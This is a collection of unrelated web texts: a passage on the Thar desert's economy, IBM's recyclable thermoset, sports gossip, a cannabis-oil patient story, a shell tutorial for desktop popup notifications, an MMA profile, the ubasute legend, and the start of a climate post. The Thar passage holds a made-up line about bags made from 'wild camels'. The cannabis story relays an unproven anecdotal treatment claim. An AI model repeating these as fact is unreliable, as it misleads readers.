animal populations, wind and water erosion, mining and other industries have resulted in serious land degradation.  Mustard fields in a village of Shri Ganganagar district (Rajasthan, India).  Agricultural production is mainly from kharif crops, which are grown in the summer season and seeded in June and July. These are then harvested in September and October and include bajra, pulses such as guar, jowar (Sorghum vulgare), maize (zea mays), sesame and groundnuts. Over the past few decades[when?] the development of irrigation features including canals and tube wells have changed the crop pattern with desert districts in Rajasthan now producing rabi crops including wheat, mustard and cumin seed along with cash crops.[16]  The Thar region of Rajasthan is a major opium production and consumption area.[citation needed] The Indira Gandhi Canal irrigates northwestern Rajasthan while the Government of India has started a centrally sponsored Desert Development Program based on watershed management with the objective of preventing the spread of desert and improving the living conditions of people in the desert.[16]  Livestock [ edit ]  Camel ride in the Thar desert near Jaisalmer, India.  Cows in Thar Desert  In the last 15–20 years, the Rajasthan desert has seen many changes, including a manifold increase of both the human and animal population. Animal husbandry has become popular due to the difficult farming conditions. At present, there are ten times more animals per person in Rajasthan than the national average, and overgrazing is also a factor affecting climatic and drought conditions.  A large number of farmers in Thar desert depend on animal husbandry for their livelihood. Cows, buffalos, sheep, goats, camels, and oxen consists of major cattle population. Barmer district has the highest cattle population out of which sheep and goats are in majority. Some of the best breeds of bullocks such as Kankrej (Sanchori) and Nagauri are from desert region.  Thar region of Rajasthan is the biggest wool-producing area in India. Chokla, Marwari, Jaisalmeri, Magra, Malpuri, Sonadi, Nali and Pungal breeds of sheep are found in the region. Of the total wool production in India, 40-50% comes from Rajasthan. The sheep-wool from Rajasthan is considered best for carpet making industry in the world. The wool of Chokla breed of sheep is considered of superior quality. The breeding centres have been developed for Karakul and Merino sheep at Suratgarh, Jaitsar and Bikaner. Some important mills for making Woolen thread established in desert area are: Jodhpur Woolen Mill, Jodhpur; Rajasthan Woolen Mill, Bikaner and India Woolen Mill, Bikaner. Bikaner is the biggest mandi (market place) of wool in Asia.[16]  The live stock depends for grazing on common lands in villages. During famine years in the desert the nomadic rebari people move with large herds of sheep and camel to the forested areas of south Rajasthan or nearby states like Madhya Pradesh for grazing the cattle.  The importance of animal husbandry can be understood from the organization of large number of cattle fairs in the region. Cattle fairs are normally named after the folk-deities. Some of major cattle fairs held are Ramdevji cattle fair at Manasar in Nagaur district, Tejaji cattle fair at Parbatsar in Nagaur district, Baldeo cattle fair at Merta city in Nagaur district, Mallinath cattle fair at Tilwara in barmer district. Live stock is very important to the Thar desert people.  Agroforestry [ edit ]  Lopping of Khejri tree for fodder and fuel in Harsawa village  Forestry has an important part to play in the amelioration of the conditions in semi-arid and arid lands. If properly planned, forestry can make an important contribution to the general welfare of the people living in desert areas. The living standard of the people in the desert is low. They can not afford other fuels like gas, kerosene etc. Fire wood is their main fuel, of the total consumption of wood about 75 percent is firewood. The forest cover in desert is low. Rajasthan has a forest area of 31150 km2. which is about 9% of the geographical area. The forest area is mainly in southern districts of Rajasthan like Udaipur and Chittorgarh. The minimum forest area is in Churu district only 80 km2. Thus the forest is insufficient to fulfill the needs of firewood and grazing in desert districts. This diverts the much needed cattledung from the field to the hearth. This in turn results into the decrease in agricultural production. Agroforestry model is best suited to the people of desert. Some Institutes have done good work in Agroforestry.  The scientists of Central Arid Zone Research Institute (CAZRI), have successfully developed and improved dozens of traditional and non-traditional crops/fruits, such as Ber trees (like plums) that produce much larger fruits than before (lemon-size) and can thrive with minimal rainfall. These trees have become a profitable option for farmers. One example from a case study of horticulture showed that in situation of budding in 35 plants of Ber and Guar (Gola, Seb & Mundia variety developed in CAZRI), using only one hectare of land, yielded 10,000 kg. of Ber and 250 kg. of Guar, which translates into double or even triple profit.[21]  Arid Forest Research Institute, (AFRI) situated at Jodhpur is another national level institute in the region. It is one of the institutes of the Indian Council of Forestry Research and Education ( ICFRE ) working under the Ministry of Environment & Forests, Govt. of India. The Objective of the Institute is to carry out scientific research in forestry in order to provide technologies to increase the vegetative cover and to conserve the biodiversity in the hot arid and semi arid region of Rajasthan, Gujarat and Dadara & Nagar Haveli union territory.  The most important tree species in terms of providing a livelihood in Thar desert communities is Prosopis cineraria.  Prosopis cineraria provides wood of construction class. It is used for house-building, chiefly as rafters, posts scantlings, doors and windows, and for well construction water pipes, upright posts of Persian wheels, agricultural implements and shafts, spokes, fellows and yoke of carts. It can also be used for small turning work and tool-handles. Container manufacturing is another important wood-based industry, which depends heavily on desert-grown trees.  Prosopis cineraria is much valued as a fodder tree. The trees are heavily lopped particularly during winter months when no other green fodder is available in the dry tracts. There is a popular saying that death will not visit a man, even at the time of a famine, if he has a Prosopis cineraria, a goat and a camel, since the three together are some what said to sustain a man even under the most trying condition. The forage yield per tree varies a great deal. On an average, the yield of green forage from a full grown tree is expected to be about 60 kg with complete lopping having only the central leading shoot, 30 kg when the lower two third crown is lopped and 20 kg when the lower one third crown is lopped. The leaves are of high nutritive value. Feeding of the leaves during winter when no other green fodder is generally available in rain-fed areas is thus profitable. The pods have a sweetish pulp and are also used as fodder for livestock.  Prosopis cineraria is most important top feed species providing nutritious and highly palatable green as well as dry fodder, which is readily eaten by camels, cattle, sheep and goats, constituting a major feed requirement of desert livestock. Locally it is called Loong. Pods are locally called sangar or sangri. The dried pods locally called Kho-Kha are eaten. Dried pods also form rich animal feed, which is liked by all livestock. Green pods also form rich animal feed, which is liked by drying the young boiled pods. They are also used as famine food and known even to prehistoric man. Even the bark, having an astringent bitter taste, was reportedly eaten during the severe famine of 1899 and 1939. Pod yield is nearly 1.4 quintals of pods/ha with a variation of 10.7% in dry locations.  Prosopis cineraria wood is reported to contain high calorific value and provide high quality fuel wood. The lopped branches are good as fencing material. Its roots also encourage nitrogen fixation, which produces higher crop yields.  Tecomella undulata tree in the village of tree in the village of Harsawa  Tecomella undulata is one more tree species, locally known as Rohida, which is found in Thar Desert regions of northwest and western India. It is another important medium-sized tree of great use in Agroforestry, that produces quality timber and is the main source of timber amongst the indigenous tree species of desert regions. The trade name of the tree species is Desert teak or Marwar teak.  Tecomella undulata is mainly used as a source of timber. Its wood is strong, tough and durable. It takes a fine finish. Heartwood contains quinoid. The wood is excellent for firewood and charcoal. Cattle and goats eat leaves of the tree. Camels, goats and sheep consume flowers and pods.  Tecomella undulata plays an important role in the ecology. It acts as a soil-binding tree by spreading a network of lateral roots on the top surface of the soil. It also acts as a windbreak and helps in stabilizing shifting sand dunes. It is considered as the home of birds and provides shelter for other desert wildlife. Shade of tree crown is shelter for the cattle, goats and sheep during summer days.  Tecomella undulata has medicinal properties as well. The bark obtained from the stem is used as a remedy for syphilis. It is also used in curing urinary disorders, enlargement of spleen, gonorrhoea, leucoderma and liver diseases. Seeds are used against abscess.  Ecotourism [ edit ]  Sunrise in the desert  Desert safaris on camels have become increasingly popular around Jaisalmer. Domestic and international tourists frequent the desert seeking adventure on camels for anything from a day to several days. This ecotourism industry ranges from cheaper backpacker treks to plush Arabian night style campsites replete with banquets and cultural performances. During the treks tourists are able to view the fragile and beautiful ecosystem of the Thar desert. This form of tourism provides income to many operators and camel owners in Jaisalmer as well as employment for many camel trekkers in the desert villages nearby. People from various parts of the world come to see the Pushkar ka Mela (Pushkar Fair) and oases.  Industry [ edit ]  Rajasthan is pre-eminent in quarrying and mining in India. The Taj Mahal was built with white marble mined from Makrana in Nagaur district. The state is the second largest source of cement in India. It has rich salt deposits at Sambhar. Jodhpur sandstone is mostly used in monuments, important buildings, residential buildings, and such. This stone is termed "chittar patthar". Jodhpur has also got mines of red stone locally known as ghatu patthar used in construction. Sandstone is found in Jodhpur and Naguar districts. Jalore is biggest centre of granite processing units.[16]  Lignite coal deposits are there at places Giral, Kapuradi, Jalipa, Bhadka in Barmer district; Plana, Gudha, Bithnok, Barsinghpur, Mandla Charan, Raneri Hadla in Bikaner district and Kasnau, Merta, Lunsar etc., in Nagaur district. Lignite based Thermal power plant has been established at Giral in Barmer district. Jindal group is working on 1080 Megawatt power project in private sector at village Bhadaresh in Barmer district. "Neyeli Lignite Barsinghpur Project" is in progress to establish two thermal power units of capacity 125 megawatts each at Barsinghpur in Bikaner district. Reliance Energy is working on establishing power generation through underground gasification technique in Barmer district with an outlay of about 30 billion rupees.[16]  There is large storage of good quality petroleum in Jaisalmer and Barmer districts. The main places with deposits of petroleum are Baghewal, Kalrewal, and Tawariwal in Jaisalmer district and Gudha Malani area in Barmer district. Barmer district has started petroleum production on commercial scale.[16] Barmer district is in the news due to its large oil basin. The British exploration company Cairn Energy started production of oil on a large scale. Mangala, Bhagyam and Aishwariya are the major oil fields in the district. This is India's biggest oil discovery in 22 years. This promises to transform the local economy, which has long suffered from the harshness of the desert.  The Government of India initiated departmental exploration for oil in 1955-56 in the Jaisalmer area,[22] Oil India Limited's discovered natural gas in 1988 in the Jaisalmer basin.[23] Also known for their fine leather messenger bags made from wild camels native to the area.  The Thar desert seems an ideal place for generation of electricity from wind power. According to an estimate Rajasthan state has got a potential of 5500 Megawatt wind power generation as such it is in the priority of the state govt. Rajasthan State Power Corporation has established its first wind power-based power plant at Amarsagar in Jaisalmer district. Some leading companies in the field are working on establishing wind mills in Barmer, Jaisalmer and Bikaner districts. Solar energy also has a great potential in this region as most of the days during a year are cloud free. Solar energy based plant has been established at Bhaleri in Churu district to convert hard water into drinking water.[16]  Salt water lakes [ edit ]  There are a number of salt water lakes in Thar desert. These are Sambhar, Pachpadra, Tal Chhapar, Falaudi and Lunkaransar where Sodium chloride salt is produced from salt water. The Didwana lake produces Sodium Sulphate salt. Ancient Archaeological evidences of habitations have been recovered from Sambhar and Didwana lakes which shows their antiquity and historical importance.[16]  Water and housing in the desert [ edit ]  Water scarcity plays an important role in shaping life in all parts of Thar. Small, intermittent ponds, whether natural (tobas) or man-made (johads), are often the only source of water for animals and humans in the true desert areas. The lack of a constant water supply causes much of the local population to live as nomads.[citation needed] Most human settlements are found near the two seasonal streams of the Karon-Jhar hills. Potable groundwater is also rare in the Thar desert. Supplies are often sour due to dissolved minerals, and are only available deep underground. Wells that successfully bear sweet water attract nearby settlement, but are difficult to dig, possibly claiming the lives of the well-diggers.[citation needed]  Tanks for drinking water  According to 1980 housing census in Pakistan, there were 241,326 housing units of one or two very small rooms. The degree of crowding was six persons per housing unit and three persons per room. For most of the housing units (approximately 76 per cent), the main construction material of outer walls is unbaked bricks whereas wood is used in 10 per cent and baked bricks or stones with mud bonding in 8 per cent housing units. A large number of families still live in jhugis or huts which are housing units formed with straws and thin wood-sticks. These jhugis are susceptible to damage from the occasional high winds. But the poverty leaves no other option to these jhugiwalas (people living in jhugis).[citation needed]  The river Luni is the only natural water source that drains inside a lake in the desert. It originates in the Pushkar valley of the Aravalli Range, near Ajmer and ends in the marshy lands of Rann of Kutch in Gujarat, after travelling a distance of 530 km. The Luni flows through part of Ajmer, Barmer, Jalor, Jodhpur, Nagaur, Pali, and Sirohi districts and Mithavirana Vav Radhanpur region of Banaskantha North Gujarat. Its major tributaries are the Sukri, Mithri, Bandi, Khari, Jawai, Guhiya and Sagi from the left, and the Jojari River from the right.  The Ghaggar is another intermittent river in India, flowing during the monsoon rains. It originates in the Shivalik Hills of Himachal Pradesh and flows through Punjab and Haryana to Rajasthan; just southwest of Sirsa, Haryana and by the side of talwara jheel in Rajasthan, this seasonal river feeds two irrigation canals that extend into Rajasthan. It terminates in Hanumangarh district.[16]  The Rajasthan Canal system is the major irrigation scheme of the Thar Desert and is conceived to reclaim it and also to check spreading of the desert to fertile areas. It is world's largest irrigation which is being extended in an attempt to make the desert arable.[24] It runs south-southwest in Punjab and Haryana but mainly in Rajasthan for a total of 650 kilometers and ends near Jaisalmer, in Rajasthan. After the construction of the Indira Gandhi Canal, irrigation facilities were available over an area of 6770 km² in Jaisalmer district and 37 km² in Barmer district. Irrigation had already been provided in an area of 3670 km² in Jaisalmer district. The canal has transformed the barren deserts of this district into rich and lush fields. Crops of mustard, cotton, and wheat now flourish in this semi-arid western region replacing the sand there previously.  Besides providing water for agriculture, the canal will supply drinking water to hundreds of people in far-flung areas. As the second stage of work on the canal progresses rapidly, there is hope that it will enhance the living standards of the people of the state.  Recreation [ edit ]  Desert tribes near Jaisalmer, India  Thar Desert provides the recreational value in terms of desert festivals organized every year. Rajasthan desert festivals are celebrated with great zest and zeal. This festival is held once a year during winters. Dressed in brilliantly hued costumes, the people of the desert dance and sing haunting ballads of valor, romance and tragedy. The fair has snake charmers, puppeteers, acrobats and folk performers. Camels, of course, play a stellar role in this festival, where the rich and colorful folk culture of Rajasthan can be seen.  Camels are an integral part of the desert life and the camel events during the Desert Festival confirm this fact. Special efforts go into dressing the animal for entering the spectacular competition of the best-dressed camel. Other interesting competitions on the fringes are the moustache and turban tying competitions, which not only demonstrate a glorious tradition but also inspire its preservation. Both the turban and the moustache have been centuries old symbols of honor in Rajasthan.  Evenings are meant for the main shows of music and dance. Continuing till late into the night, the number of spectators swells up each night and the grand finale, on the full moon night, takes place by silvery sand dunes.  See also [ edit ]  References [ edit ]  Further reading [ edit ]
-It's the key material found in superglue and airplane wings. It once coated the Apollo 8 capsule for reentry into Earth's atmosphere. And it currently insulates the electronics in your smartphone. Thermosets are the unsung heroes of materials science.  Cured thermosets are heat-resistant polymers that are often more rigid than bone and virtually impossible to break down. In your car or in your computer, an indestructible component isn't so bad. But on the manufacturing line, thermosets represent an engineer's point of no return—once you coat something in thermoset, you cannot make changes without starting over from scratch. A material that just won't melt—it decomposes long before its melting point—poses a unique problem for the recycling industry.  Researchers at IBM announced the first recyclable thermoset in a paper published in Science. Their new thermoset is just as powerful and heat-resistant as its predecessors, but its Achilles heel is acid: Dip a component into an inexpensive sulfuric acid solution, and it reverts to its original, puttylike state.  "This is the first example of a recyclable thermoset, to our knowledge," says Jeannette M. Garcia, research staff member at IBM Research and lead author on the paper. "Sulfuric acid is essentially free, and reworking thermosets is much more desirable than throwing them away. If IBM had this 15 years ago, it would have saved unbelievable amounts of money."  Of Computers and Chemistry  Garcia first stumbled across her new polymer by accident. She had been working on synthesizing a different polymer when she noticed the solution in her reaction flask unexpectedly harden. "We couldn't get it out," she says. "We had to smash the flask with a hammer, and, even then, we couldn't smash the material itself. It's one of these serendipitous discoveries."  Determined to figure out what she had made, Garcia enlisted help from the brains at IBM. "What's unique about Garcia's paper is that she used all of the computational expertise of IBM to develop new materials," says Timothy Long, a professor of chemistry at Virginia Tech, who was not involved in the research.  Garcia and her team used classic chemistry techniques, along with advanced computer models, to work backward from her final product and find the mechanism behind her surprise reaction. When she discovered that she had indeed synthesized a thermoset, Garcia used the IBM software to test whether there was an inexpensive, efficient way to recycle her new polymer.  "We were able to actually study the chemistry through our computational models, and then evaluate the final product for its reactivity," Garcia says. "We noticed that if you take the molecule and subject it to strong acid, like sulfuric acid, you would get complete chemical reversion back to the starting materials."  More Thermoset for Your Buck?  Prior attempts to synthesize a recyclable thermoset produced weaker, less heat-resistant plastics, unsuitable for industrial uses. But when Garcia and her team subjected their thermoset to a battery of lab tests, its performance was either comparable or superior to current industry standards. And, according to Garcia, her thermoset could be even less expensive than those currently on the market.  While the new thermoset's rigidity and cost may be above reproach, its heat resistance does pose a few problems. Up to 350 degrees Celsius, Garcia's thermoset performs just as well as any comparable polymer. But above that temperature it starts to break down. It's a problem, because thermosets often show up in extremely high-temperature environments. The redistribution layer of a computer chip, for example, which enables bonding between chips in an integrated circuit, can heat up to 425 C. For such applications, Hendrick acknowledges, a more heat-resistant thermoset or a blend of thermosets would undoubtedly be necessary.  "You could get around this by blending polymers," says James Hendrick, a research staff member at IBM who oversees the materials group. "But for our pure polymer, 350 degrees Celsius is the decomposition temperature."  Industrial Prejudices  IBM's new thermoset is a less expensive, recyclable alternative to many of the current market favorites. Nevertheless, manufacturers may be reluctant to adopt a new polymer on the line.  "Industry is always resistant to change," Long says. "Anytime new chemistry appears, we have to think about changing manufacturing operations."  One advantage of this new thermoset, Long notes, is that it makes use of starting materials that are already widely accepted in the industry. "That's an important element of their discovery," Long says of Garcia's team. "They try to use existing compounds and existing synthetic methods that the industry can quickly adopt."  For companies that do use Garcia's thermoset, Long notes, the advantages could be substantial. "Industries are looking for performance so, conceivably, if you're fabricating a new device and it doesn't turn out quite right, a thermoset that you can reverse would allow you to correct the problem."  And for us environmentally conscious techies, of course, a recyclable thermoset is the answer to our ever-present question of how to recycle our old hardware.  "We switch out laptops and iPhones every couple of years, and those thermosets are inherently not recyclable," Long says. "This thermoset will redesign our way of thinking about recycling."
-Click to email this to a friend (Opens in new window)  Click to share on Twitter (Opens in new window)  Click to share on Facebook (Opens in new window)  David Beckham is trying to recruit Miami Heat star LeBron James as one of his investors in the Major League Soccer team he plans to launch in Miami.  “The two have had several secret meetings in the past few weeks,” a Miami source told me. “LeBron would be to the soccer team what Jay Z was to the Brooklyn Nets.”  Jay Z and Beyoncé were courtside regulars at the Barclays Center until the Brooklyn-born rapper had to sell his share in the Nets last fall when he opened his Roc Nation Sports talent agency. Fans were surprised to learn that, for all the hoopla around it, his stake was a measly 1/15 of 1 percent of the team.  Similarly, billionaire developer Steve Ross brought in Gloria Estefan, Marc Anthony, Venus Williams and Serena Williams as investors in his Miami Dolphins.  Beckham is said to have put about $100 million of his $300 million net worth into the venture.  Said my source: “Beckham doesn’t need LeBron’s money. He wants him to create excitement and buzz.”  The soccer stud could also use the talents of LeBron’s marketing partner Maverick Carter, whose LRMR firm has signed the biggest star in college football, Johnny Manziel.  In March — when Beckham announced he had landed the Miami soccer franchise with “American Idol” creator Simon Fuller and Bolivian billionaire Marcelo Claure — he admitted, “LeBron is a friend, so we speak as friends about what we’re doing, but we’re also speaking as great businessmen.”
-Cannabis oil 'transformed life' of terminally ill brain tumour man Kieran McCrory BelfastTelegraph.co.uk A man suffering from a terminal brain tumour has told how his quality of life has been transformed since he started using cannabis oil for treatment. https://www.belfasttelegraph.co.uk/news/northern-ireland/cannabis-oil-transformed-life-of-terminally-ill-brain-tumour-man-kieran-mccrory-34453098.html https://www.belfasttelegraph.co.uk/news/northern-ireland/article34453097.ece/6cf77/AUTOCROP/h342/2016-02-15_new_16890350_I2.JPG  Email  A man suffering from a terminal brain tumour has told how his quality of life has been transformed since he started using cannabis oil for treatment.  Kieran McCrory (37) has been advised by doctors he has between three and five years to live.  Last week in a BBC interview Kieran claimed that since using illegal cannabis oil in his drinks and food, doctors have told him that his tumour had stopped growing.  It has not been proven whatcaused his improvement, but Kieran insists that his daily quality of life has changed radically for the better.  Research in parts of the US has supported the use of cannabis in cancer treatment, but it's still something the UK Government, and charities like Cancer Research UK, refuse to endorse.  Kieran and his wife Sylvia have said they're well aware of the risks but have spoken about how their choice has affected their life and their hopes for the future.  "I've always been open and honest to anybody who's asked me about cannabis," said Kieran.  "I've even said to my local doctor, I'll never lie to you."  "The doctors that I've been speaking to all know I'm doing it. They've said if it's working for you keep doing it. Legally that's all they can say. They're not going to say they support my approach."  Read more  A man with a terminal brain tumour says he believes cannabis oil has helped prolong his life. Even though it is illegal 38 year old Kieran McCrory says he's going to continue using it. Elaine McGee reports. Posted by BBC Newsline on Thursday, 11 February 2016  Could cannabis oil reverse the effects of cancer?  After undergoing physically exhausting radiation treatment, Kieran said that he felt so sick he accepted an offer from a friend to try cannabis oil.  "When I don't have it, I lie in bed and think I'm going to die," he explained. "Once I got CBD [the cannabis oil] I started taking it in my coffee and cooking with it."  "Within the first 24 hours my whole game just picked up, I was walking around the next day, chatting and reading books. The day before I was lying in a hospital bed."  He said his wife Sylvia "dreads the day" he can't get the oil.  "It's not easy at all to get it because it's illegal, it's very risky. It's a situation that someone like myself shouldn't be in."  "I'm not asking to hurt anybody, I'm asking for something that nature has provided and I should be entitled to use."  Kieran is now paralysed down the left side of his body, and relies on Sylvia for everyday things like cutting his food and getting dressed.  "Having this available to me gives me back the power," he said.  "It gives you this burst of energy that you just didn't have lying in hospital after brain surgery."  Kieran's wife Sylvia, originally from Australia, said the improvement in his condition has had a huge impact on her life too.  Sylvia says that since Kieran has been taking the oil they have now been able to enjoy life together again. She says the couple's dream is now to move to Australia, where she has grown-up children, and for them to start a business.  "We've got our own aspirations and dreams that we want to push for, and we feel like we've got a chance now."  Belfast Telegraph
-— 30 April, 2014  So you know how to build a status bar to get informations about your computer? That's cute. How about bringing it to the next level?  Let's go through another way to display informations from your lovely computer: popup notifications !  What's that ?  Popup notifications (I'll call them "popup" from now) are a tiny window that will appear on your screen with an informative text on it, and then disappear after a certain amount of time, or a user interaction.  The important part is that the popups show up when an event occur, not upon user request (well, if the user request a popup, it can still appear, obviously).  Usefulness  Well, most of the popup we have to deal with are annoying most of the time (except those that notify me that I won an IPad by being the visitor number 1 000 000, it's nice to tell me!). But if you choose wisely the content and the event to pop it, it can become really useful, and help you to unclutter your desktop by removing useless informations.  Do you really need to know that your laptop battery is at 78% ? NO Do you really need to know that you have 0 new mails ? NO  This can apply to many other informations (RAM, CPU, current workspace,..). You don't need the information to be displayed all the time. You just need it when it's relevant, like battery under 10%, or new mail incoming.  But if you just LIKE to have it displayed all the time (Sometime, I enjoy a nice status bar with the fine infos in it), then it's okay! Remember that you can have both anyway ;)  Moreover, you can use popups to notify you when a task running in the background has finished, or that a torrent has finished downloading, or whatever weird usage you can find!  Existing software  There are in fact, many notification systems that you can use: libnotify, notify-osd, twmn, etc...  These are fine. But as always, it's just funnier to build your own! And in order to do so, we will need an important program: bar! (note that you can use dzen too)  I love this one, because it's really light and simple to use. Moreover, I contributed to it to complete the geometry setting. You can now create a window of any size and place it wherever you want!  Popup itself  This part is the most simple in fact. bar will do anything for us.  All you have to do is to create a script that will take a serie of argument and put them in a resized bar on your screen.  The simplest script I can think of is:  #!/bin/sh Create the popup and make it live for 3 seconds (echo " $@"; sleep 3) | bar -g 120x20+20+20  And it's working, already! After that, you can style it to make it look like you want:  #!/bin/sh # how long should the popup remain? duration=3 # define geometry barx=10 bary=10 barw=120 barh=20 # colors bar_bg='#ff333333' bar_fg='#ffffffff' # white is default # font used bar_font='-*-gohufont-medium-*-*--11-*-*-*-*-*-iso10646-1' # compute all this baropt='-g ${barw}x${barh}+${barx}+${bary} -B${bar_bg} -f ${bar_font}' Create the popup and make it live for 3 seconds (echo " $@"; sleep ${duration}) | bar ${baropt}  Obviously, that's not an informative popup at all (is it?). All you need now is to write some simple script to grab the informations you will need to display in your popup. I'll not develop it here, as I already wrote a not-so-tiny section on a subjet in my previous post.  You could then just pop notifications using:  popup $(~/bin/volume)  Automate the popups  The best thing about popups is that they spawn when it's relevent, eg: when a new mail arrived, volume is changing or battery is low.  To catch those event there are many way. We will run through three of them:  infinite loop  inotify event  key presses  infinite loop  This one is easy. We just check whatever we want at regular interval, and depending on some conditions, we raise a notification. That's what I use for my battery:  #!/bin/sh # # z3bra - (c) wtfpl 2014 # check battery level, and raise a notification if the capacity is # under a defined level LEVL=7 BATC=$(sed 's/%//' /sys/class/power_supply/BAT0/capacity) test ${BATC} -le ${LEVL} && popup battery level: ${BATC}  Then run this every 2 minutes or so, and it will notify you when your battery is running low. You can put it in your .xinitrc or as a cron job:  # .xinitrc while :; do ~/bin/battery_check; sleep 120; done & # crontab */2 * * * * DISPLAY=0 ~/bin/battery_check  inotify event  Inotify (inode notify) is a Linux kernel subsystem that acts to extend filesystems to notice changes to the filesystem. That strange sentence means that you can catch an event when a node (file, socket, fifo, directory, ...) is modified. There are many events like modification, access to a node, node moved, etc...  To catch those event, there are really few tools.. I wrote mine, wendy, but there are other. Just take a look at this reddit thread to find out more.  So let's define the environnment. There is that directory:  $ ls ~/var/mail/INBOX cur/ new/ tmp/  I use fdm (see this blog post to retrieve my mails from my POP3 server. Each new mail creates a file in ~/var/mail/INBOX/new , so we will just need to watch file creation in that folder, and pop a notification at each new mail. It's done like this in my ~/.xinitrc  # .xinitrc # note that $MAIL is set to my inbox through my ~/.profile wendy -m 256 -q -f ${MAIL}/new -e popup 'new mail(s)!' &  And there we go. each time fdm will fetch mails to your inbox, a wild popup will appear!  key presses  The last type of popup I use is those that occur when a key is pressed. The best exemple for that are the volume keys. I don't know how you handle this, but personnally, I use xbindkeys for that. It's a software that let the user map commands to hotkeys, which is totally useful for everything. I know some people ( bspwm users, mostly) use baskerville's sxhkd to do so. I have nothing against this soft, but it will just not cut it here. For further explanations, see this comment @nixers.net. (/u/jumpwah pointed that sxhkd can run multiple commands using a single keybind, as show in examples/sxhkdrc ).  So, if you already use xbindkeys to change your volume level, probably already know what to do.  I personally have a script to manage my volume level:  #!/bin/sh # # z3bra - (c) wtfpl 2014 # Manage ALSA Master channel test "$1" = "-h" && echo "usage `basename $0` [+|-|!]" && exit 0 level() { amixer get Master | sed -n 's/^.*\[\([0-9]\+%\).*$/\1/p' | uniq } state() { amixer get Master | sed -n 's/^.*\[\(o[nf]\+\)]$/\1/p' | uniq } test $# -eq 0 && echo "`level` `state`" && exit 0 case $1 in +) amixer set Master 5%+ >/dev/null;; -) amixer set Master 5%- >/dev/null;; !) amixer set Master toggle >/dev/null;; state|level) $1;; *) amixer set Master $1 >/dev/null;; esac  It's quite simple. volume +|- will raise|lower volume, volume ! will toggle on/off, volume level|state will output the level or state, and volume whatever will execute whatever through amixer (exemple: volume on|off ).  Back to the topic. Here is my .xbindkeysrc  "~/bin/volume +" XF86AudioRaiseVolume "~/bin/volume -" XF86AudioLowerVolume "~/bin/volume !" XF86AudioMute "~/bin/popup volume: $(~/bin/volume level)" XF86AudioRaiseVolume "~/bin/popup volume: $(~/bin/volume level)" XF86AudioLowerVolume "~/bin/popup volume: $(~/bin/volume level)" XF86AudioMute  There, simple. The popup command is bound to my volume keys, so each time I press them, the notification comes up! It's quite simple.  Improvements  This system is not perfect at all, because popup overlap, the width and timing is fixed, ... But it's also a bare simple system, easily hackable. You could use it to build a more complex system on top of that. For example, you can easily write a simple daemon that will read messages from a fifo and stack popups together:  #!/bin/sh # # z3bra - (c) wtfpl 2014 # Popup wrapper used to stack notifications together # fifo that we'll use to feed the popups test -p /tmp/popup.fifo || mkfifo /tmp/popup.fifo # popup definition w=150 h=20 x=1930 y=10 # popup counter (starts at -1 so that the first popup has no offset n=-1 # get messages from the fifo tail -f /tmp/popup.fifo | while IFS= read -r message; do # increment the counter n=$((n + 1)) { # display the popup under the others ~/bin/popup -g ${w}x${h}+${x}+$((y + (h+y) * n)) $n ${message} # decrement the counter n=$((n - 1)) } & done  Then, write your messages to /tmp/popup.fifo to see your popup stacking together ( echo shblah > /tmp/popup.fifo ). It will probably require improvements, but it's a good starting point!  Here are a few other ideas I had (but did not bother trying :P):  Using txtw to change width dynamically  Make use of the clickable area of bar to get rid of the popup  to get rid of the popup Make long notifications scroll using skroll  shampoo / soap  4 apples  some fresh meat Ah, wrong list...  Ah, wrong list... ...  Be creative, as usual!  Good bye  I hope this will be helpful to someone. It's not meant to make you throw your status bar away, or switch from libnotify and such. It's just a bare simple alternative to those, as I like to have :)  Enjoy!
-Earlier in the week we had a chance to pay UFC welterweight Mike Pierce a visit at the Affliction Gym in Seal Beach, CA. Pierce was in town to do a bit of media and upon meeting him and speaking to him, came to a strong conclusion. Mike Pierce is perhaps one of the nicest and down to earth guys we have ever met. Why you may ask? In speaking with him, Pierce acted like a normal guy and related to things off camera that any normal young adult would talk about. Yes, we used the term young adult; though Pierce is 31 he still relates to that demographic of 21-35 when it comes to subjects of sports and other types of topics.  From behind the camera, Fight Hub TV correspondent Marcos Villegas spoke to Mike in depth about his upcoming matchup with Josh Koscheck as well as share his thoughts on the UFC on FOX 2 semi-main event between his friend Chael Sonnen and Michael Bisping. Pierce puts it down very simple, if Anderson Silva could not knock out Sonnen, Michael Bisping has a slim chance in doing so himself.
-Ubasute no tsuki (The Moon of Ubasute), by (The Moon of Ubasute), by Yoshitoshi  Ubasute (姥捨て, "abandoning an old woman", also called obasute and sometimes oyasute 親捨て "abandoning a parent") is the mythical practice of senicide in Japan, whereby an infirm or elderly relative was carried to a mountain, or some other remote, desolate place, and left there to die.[1] According to the Kodansha Illustrated Encyclopedia of Japan, ubasute "is the subject of legend, but [...] does not seem ever to have been a common custom".[2]  Folklore [ edit ]  Ubasute has left its mark on Japanese folklore, where it forms the basis of many legends, poems, and koans. In one Buddhist allegory, a son carries his mother up a mountain on his back. During the journey, she stretches out her arms, catching the twigs and scattering them in their wake, so that her son will be able to find the way home.  A poem commemorates the story:  In the depths of the mountains,  Whom was it for the aged mother snapped  One twig after another?  Heedless of herself  She did so  For the sake of her son  In popular culture [ edit ]  Places [ edit ]  Ubasute Mountain  Ubasute Mountain  Similar practice in other cultures [ edit ]  References [ edit ]  Further reading [ edit ]  Japan, An Illustrated Encyclopedia, Kodansha Ltd., Tokyo, 1993, p. 1121  Coordinates:
-Is it safe to double atmospheric Carbon Dioxide over a 200 year period?  Posted on 24 December 2010 by fingerprinter  We are on track to double pre-industrial atmospheric carbon dioxide concentrations. In assessing the risk, the above question is much more fundamental than asking how much the climate warmed over the 20th century. So what’s the answer?  Society has standard approaches for assessing risk and safety. When it comes to assessing risk for major intervention, this approach entails a null hypothesis, or base assumption, that things are unsafe until proven safe. Examples occur in medicine, engineering and just about every human activity. In medicine, a drug company can not assume that a new vaccine is safe, with the burden of proof on others to prove it is unsafe. Note that this is different to determining whether the vaccine is effective, where the null hypothesis could be that there is no association between the vaccine and immunity. Rather, the null hypothesis for the risk assessment relates to the question, can I use this vaccine for a major public vaccination program?  When it comes to carbon pollution, the normal convention for risk assessment goes right out the window. The scientific null hypothesis that there is no association between carbon dioxide and climate change is easily broken. But the public risk question really relates to doubling the atmospheric carbon dioxide concentration in 200 years. In other words, is altering atmospheric chemistry in that manner safe? In the weird world of greenhouse policy, we would like everyone to assume that putting 3.6 billion tons of carbon into the atmosphere is entirely safe, with the onus on climatologists to prove otherwise.  Taking the wrong null hypothesis has serious implications for the way the science is assessed. Going back to our medical analogy, even a relatively small amount of evidence that the vaccine is unsafe is enough to inform a risk assessment. In other words, the null hypothesis stands. You need to produce a great deal 